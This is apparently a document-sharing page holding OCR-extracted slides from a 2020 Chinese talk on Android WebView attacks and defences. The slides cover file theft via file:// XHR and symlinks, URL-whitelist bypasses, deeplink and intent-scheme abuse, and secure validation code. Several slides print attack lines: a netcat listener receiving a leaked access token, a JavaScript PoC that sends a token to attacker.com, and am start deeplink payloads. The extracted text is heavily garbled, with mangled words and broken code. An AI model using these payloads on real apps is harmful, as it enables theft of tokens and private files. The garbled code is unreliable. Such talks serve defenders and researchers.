2020Android WebView安全攻防指南.docx

上传人:夺命阿水 文档编号:1421678 上传时间:2024-06-15 格式:DOCX 页数:53 大小:246.71KB
返回 下载 相关 举报
2020Android WebView安全攻防指南.docx_第1页
第1页 / 共53页
2020Android WebView安全攻防指南.docx_第2页
第2页 / 共53页
2020Android WebView安全攻防指南.docx_第3页
第3页 / 共53页
2020Android WebView安全攻防指南.docx_第4页
第4页 / 共53页
2020Android WebView安全攻防指南.docx_第5页
第5页 / 共53页
点击查看更多>>
资源描述

《2020Android WebView安全攻防指南.docx》由会员分享,可在线阅读,更多相关《2020Android WebView安全攻防指南.docx(53页珍藏版)》请在课桌文档上搜索。

1、AndrOidWebVieW安全攻防指南2020 现工作于OPPO子午互联口安全实验室,heen id:heeeeen(曾用:小荷才露尖尖角) AndroidSecurityTopResearcher GOOgIePlayGPSRP致谢+ 演讲与文章 CNCERT2016:AndrOidAPP开放端口的安全 POC2018:HackingAndroidVoIPforFunandProfit BUndIe口水AndrOid序列化与反序列化不匹配漏洞详解 AndrOid中的特殊攻击面1.WebVieW攻击面2. WebVieW配置与使用3. WebViewUR1.校验4. WebView安全防御5

2、. 总结1.WebVieW攻击面APP特殊攻击面:端口、网络协议WebVieW安全攻防发展:;二恭so1.mo历史漏洞AndrOid4.4之前,系统存在JaVaSCriPtlnterfaee接口,可被反射调用执行任意代码(RCE)CVE-2012-6636CVE-2014-1939案例:某地图叩P1.AN环境命令执行http:/:6677/androidamap?action=yyy¶m2=value2&.&url=2. WebVieW的配置与使用 SetAllowFiIeAccess是否允许WebVieW访问文件, SetAllowFileAccessFromFiIeUR1.s(宽松

3、同源策略)是否允许file域下的js访问别的file域下的文件,APlIeVe1.16及以后默认为faIseSetAllowuniversalAccessFromFiIeUR1.s(更加宽松的同源策略)是否允许file域下的js访问别的域,包括file:下的文件,APIlevel16及以后犬认为false:;二恭so1.mo任意文件窃取1(应用克隆)前提: setAllowFileAccess(true) setAllowFileAccessFromFileUR1.s(true)11SetAllowuniversalAccessFromFiIeUR1.s(true)操纵WebVieW加载fil

4、e:sdcard(也有可能操纵用户点击后无感知下载)下的恶意HTM1./JS,通过AJAX窃取xmlHttpRequest.open(GET,ufiledatadataprivate-file11,false);:;二恭so1.mo任意文件窃取1(移花接木)只有SetAllOWFneACCeSS为TrUe(默认设置)呢?攻击APP受害APP1.操纵WebVjeW3.延时读取自身httpsbugs.chromium.org/p/chromium/issues/detail?id=144866任意文件窃取3(含沙射影)仍然只有SetAlIOWFiIeACCeSS为true攻击APP1.操纵WebV

5、jeW软链接5.访问4.再次操纵WebVieW受害APP恶意网址6.PaylOad读取自身document.cooke效果,CoOkieS被污染控制WebVieW访问攻击者共享的Symlink.htmlpP4679:/data/data/com.zlwu.StealwebvlewflleviataintedCMkie9IS-Itotal36-rwxrvxn1M_al57drwxrwsrwx2u.a157(Jrwxrwsrvx2u0-al57drwxrwxrwx2uS-al57Irwxrwxrwx1ual57UeIl57315219-ll-27eal57cache40%2819-11-26u0.

6、al57.cache4096219-ll-26Ue157u.al574896219-ll-26M2619-11-2610:5219:1219:1219:1219:12bridge.htalcachecode-cchesharedprefsynUk.taldatadtac(n.ziwu.webviewdpp/dpp.webview/CookiesKHt为布”的员示:hMdtSQlNformatAgon_*cINTEGeANOTNU1.Uost.kyTEXTNOTNU1.1.amTEXTNOTNU1.VVaiueTtXTNOTNU1.1.pethTEXTNOTNU1.1.MpifM.UlCIHTt

7、GlftNOTNUl5MCureMTEGCRNOTNU1.ljs.httponiyMEURNOTNulUM1.cc*ZiXCMTCGCfIMnNU1.1.hs.npe*WfTEGfRNOIMIDCFAUlT1.2Aindn*qla.Motndei.cootcteufcoc*(*fA/tab4ef11camMaCRtATETAB1.1.EXWrIONGVARCHARNOTNU1.1.UNIOU1.PRIMARYK(V.vvhjvIONQVARCHAR).MdMsqMt.autndenwa.1meu-Oi-:IM1.eomDabbte-m*n1危险的IoadDataWithBaSeUR1.域名和内

8、容同时可控,则可构造任意域下的XSS1publicvoidIoadDataWithBaseUR1.(String2345String,StringmimeTyezStringencoding,StringhistoryUrl)案例:Ge)OgIePlay某流行APP一系列deeplink导致WebVieW加载任意UHvictim-app:/c/receipt?url=url,原本用于调用GoogIeDoC服务预览Pdf在网页中点击deeplink攻击者可控!IrootelocalhostsMfnc-Ivvp88881.isteningon0.0.0.0(family0,port8888)Con

9、nectionfromgoogle-proxy-64-233-172-171.googI58673received!GETaccessOken=32yr*h75HTTP/1.1Host:172.104.240.45:8888Connection:keep-aliveUser-Agent:MOZilla/5.0(compatible;GoogleAppsViewer;)IACCePt-Encoding:gzip,deflate.br:;二恭sacEmo案例:Ge)OgIePlay某流行APPdeeplink力口载任意fragment,转化为WebVieWIOadDataWithBaSeUR1.漏

10、洞利用 ViCtim-app:/c/contact/2?fragmen_class=fragment可启动任意fragment,并可通过IntentEXtra传参, 寻找到一个带WebVieW的Fragment:GOOgIeM叩WebVieWFragment 可污染IOadDataWithBaSeUR1.的前两个参数,构造ViC域下的XSSwebview.loadDataWithBaselIR1.(11,google-map.htm,texthtm,.);生SOCEIJE安全建议基本配置 setAllowFileAccess(false) setAllowFileAccessFromFileU

11、R1.s(false) setAllowUniveralAccessFromFilellR1.s(false) setAllowContentAccess(false) 加载确定的HTM1.,可使用asset1111录WebSettingsWebSettings=webView.getSettings();WebSettings.SetAllowFileAccess(false);webView.IoadUrl(11file:IIIandroid_asset/sample/index.html11); 防范皿录穿越,对文件名进行过滤 尽量不使用IOadDataWithBaSeUrl3. Web

12、ViewUR1.校验基本问题1 if(checkDomain(url)2 GnablejavaScriptInterface();/或者WbViw.load(url):;二落sarCD一个简单案例1 if(url.StartsWith(11file:/11)2 SetJavaScriptEnbled(false);3 else4 SetJavaScriptEnabled(true);5 )有多种绕过方法:, 大写字母:File:* 前面加个空格:file:” 字符编码:file%2F” 可正常访问的畸形路径:f,filersdcardattackhtm,或i,filezVsdcardattac

13、k.htm,if(Uri.parse(Url).getScheme(),equals工gnoreCase(file”):;二落socmo常uH校验失效endWith未闭合点号 绕过: 修复:endsWith()if(host.endsWith(11)enableJavascriptInterface()绕过:使用StartSWith、contains、indexf、正贝J匹酉己等3F严格字符串匹酉己1 if(host.StartsWith()2 enableJavascriptInterface()3 ):;二案S11CBIJUri系统漏洞绕过:CVE-2017-13274绕过1UriStri

14、ng1111;2 Stringhost=Uri.parse(uriString).getHost();3 1.og.d(11Wow11,host);4 if(host.equals(11www.m11)host.endsWith(11)IIhost.StartsWith(11www.mysitecom11)5 mVulWebViewUriBug.IoadUrl(uriString);6 )通过host校验正确:WebView.loadUrl正确加载,将识别为http:/www.bing.eom/1105511055DWow:错误:Uri.parse未对进行处理,未按照WhatWG规范将识别为P

15、ath的开始,将后面的内容视为host一些案例 某视频编辑app:UrI校验绕过(修复两次)amstart-.HttpHookHadler-dhttps: 某音乐app:通过deeplink控制UH参数绕过 amstart-aandroid.intent.action.VIEW-d十victim:/internal/notification_webview/https%3A%2f% 某聊天app:逻辑问题amstart-aandroid.intent.action.VIEW-dapp将该字符替换为https:WWWUR1.SCheme绕过检查了host,但未检查SCheme,可以通过“java

16、script:绕过1 uriString=javascript:/2 Stringhost=Uri.parse(uriString).getHost();3 1.og.d(,Wow11,host);4 if(host.equals(n)host.endsWith(11)host.StartsWith(”)mVulWebViewUriBug.IoadUrl(uriString);1实际加载js代码2window.location.href=,http:/,也可以通过file:WWWsdcardevi1.html绕过,某些版本WebVieW可正常解析为file:/SdCard/evil.html生

17、SOCEOEO反射构造hearachicalUri绕过直接从外部取Uri,未经过Uri.parse2 Uriuri=getIntent().getData();3 booleanIsOurDomain=,https11.equals(uri.getScheme()&uri,getUserlnfo()=null&11.equals(uri.getHost();4 if(IsOurDomain)5 mVulWebViewUriBug.IoadUrl(uritoString();6 1authoritypathSlrtngUn反射构造hearachicalUri绕过通过反射传入一个SCheme、au

18、thoritiy和Path构造一个形式为http:/attackercom的HieraChiCaIUri实例即可绕过Objectauthority=partconstructor.newlnstance(,11j“”);Objectpath=pathPartConstructor.newInstance(H,);uri=(Uri)hieraPchicalUriConstructor.newlnstance(11httpshjauthority,path,null,null);:;二落socmo利用服务端跳转漏洞绕过白名单域名内的服务端出现跳转漏洞时,仍然可以通过检查,并调用javascript

19、interface此时可以在ShOUldoVerideUHIOading函数中拦截跳转,对跳转的UH进行检查1publicbooleanShouldOverrideUrl1.oading(WebViewview,WebResourceRequestrequest)23if(CheckDomain(request.getUrl().toString()4returnfalse;/通过检查,允许跳转5 )6 returntrue;/未通过检查,允许跳转7 )1. classjsCall2. Stringm_curUrl;3. DavascriptInterface4. publicStringge

20、tToken()5. if()6. returnaccess_token;7. else8. returnnull;9.10. 11.12. publicvoidsetCurUrl(Stringurl)13. m_curUrl=url;14. 利用竞争条件绕过UR1.校验漏洞特征:在jsCall的敏感函数中校验UH,但使用设置mCurllrl1 publicvoidOnPageStarted(WebViewview,Stringurl,Bitmapfavicon)2 jobj.SetCurUrl(url);34 )89101112itecom123,456vartest=function()v

21、artokenjscall.getToken();tp:/(attacker.COm?POken=+token;1314修复:从回调函数的WebVieW参数取Uri设置mCurllrl漏洞利用通过设置跳转,onPageStarted/shouldOverideUH1.oading被回调,此时mCurUH已经被改写成白名单域名在当前口面的DoM还没被销毁的间隙(PoC反复去尝试),test函数可以成功执行,调用特权接口恶意JS位于attacker.Comif(!token.includes(,unde)document.location.href=11ht;for(i=0;i1000;i+)Se

22、tTimeout(test,50+i);)document.location.href=11http:/mys/inwhitelist生SOCEOEOIntentSCheme校验问题WebVieW也可能处理intentscheme,若校验不严,攻击者可r构造Intent,形成Intentredirection1 mVulWebViewIntentScheme.SetWebViewClient(newWebViewClient()2 Override3 publicbooleanShouldOverrideUrl1.oaciing(WebViewview,WebResourceRequestre

23、quest)4 Uriuri=request.getUrl();5 1.og.d(11vulw11ruri.toString();6 if(request.getUrl().getScheme().equals(11intent11)7 try(8 Intentintent=Intent.parseUri(uri.toString(),Intent.URI_INTENT_SCHEME);9 StartActivity(intent);安全的UR1.校验CheCkDomain的使用位置 WebVieW加载前 WebVieW跳转前 在JaVaSCriPtInterfaCe接口中 在JS回调函数中落

24、SOCEDED接口级别的UR1.校验,建议采用JSBridge1. publicclassJsBridgeWebChromeClientextendsWebChromeClient2.3. 0verride4. publicfinalbooleanOnJsPrompt(WebViewview.StringUr1,Stringmessage,Stringdefaultvalue,DsPromptResultresult)5. result.confirm();6. if(CheckDomain(Url)78. DsCallDava.newlnstance().call(View,message)

25、;9. returntrue;10. else11. returntrue;1213.UR1.校验函数privatebooleanCheckDomain(Stringurl)2.1.SCheme检查,建议只允许if(!url.startsWith(http:/)&!Ur1.startsWith(https:/)/对SChenle进行检置httpsreturnfalse;StringWhite1.ist=newString.Whitedomainl.c*.URIjava-url=null;try一,);2.使用.URIl.java-url=.URI(urITnndroTBcatch(.URlSy

26、ntaxExceptione)returnfalse;.URI对UrI字:13.15.16.StringInputDomain=java_url.getHost();送妆1.og.d(Secret.TAG,inputDomain:+InputDomain);for(StringWhiteDomainjwhite1.ist)3.通过getHost获取hostPath11JWPath()获取17.18.19.WhiteDomain=WhiteDomain.StartsWith(?WhiteDomain:.+WhiteDomain;if(InputDomaln.endsWith(WhiteDonai

27、n)对host进行检,不要漏掉域名前面的点20.returntrue;21.22.returnfalse;23.4.使用endsWith校验,应包含域名前面的点IntentSCheme校验建议写法1. 解析ntentSchemeUR1.2. Intentintent=Intent.parseUri(urijflags);3. 禁止打开没有BRoWSAB1.E标签的ACtiVity4. intent.addCategory(android.intent.category.BROWSAB1.E11);5. /禁止设置intent的组件6. intent.SetComponent(null);7.

28、/禁止设置intent的SeleCtC)P8. intent.setselector(null);9. 打开intent指向的activity10. context.StartActivityIfNeeded(intentj-1);UR1.校验的安全审计点加载UR1.的函数loadUrl/loadData/loadDataWithBaseUR1./evaluateJavascriptWebVieWelient回调函数shouldOverridellrl1.oading/shouldlnterceptRequest/onPageStartedWebVieWChromeCIient回调函数(JSB

29、ridge常用)onJsPrompt/onJsAlert下载监听函数,关注下载对文件名的处理SetDownIoad1.istenerIntentParSeUri函数UR1.2解析通讯内容IAndroidPrOmPt接口回调通讯内容webviewJSAPl调用协议头:WebBridge-方法名参数列表J回谑困数UR1.AP博级3白名单校验-5提交方法调用到线程执行池4查询已经注册的方法4.WebVieW安全防御构建一个WebVieW安全SDK安全基线基于WebVieW安全基线对WebVieW默认配置云控下发安全基线和白名单配置JsBridgeJSAPI:;二恭SOCE0g4.WebView安全防

30、御细粒度白名单校验基于UR1./path、以及方法名进行白名单校验权限分级口面根据申请的权限生成UR1.:API1.ist)的方式构建调用列表,端可以使用权限分级,分割不同等级的叩i权限。5.总结WebvieW安全,本地攻击面与远程攻击面WebVieW的配置与使用形形色fi的UR1.校验问题WebVieW使用原则 内容可信 特权最小 使用标准接口致谢 OPPO子午互联口安全实验室的小伙伴 bagipro:GoldentechniquestobypasshostvalidationsinAndroidapps,rebeyond:一文彻底搞懂安卓WebVieW白名单校验 Deagle:绕过AndrOid域名白名单校验的方法 瘦蛟舞:IntentschemeUR1.attack KC

展开阅读全文
相关资源
猜你喜欢
相关搜索

当前位置:首页 > 在线阅读 > 生活休闲


备案号:宁ICP备20000045号-1

经营许可证:宁B2-20210002

宁公网安备 64010402000986号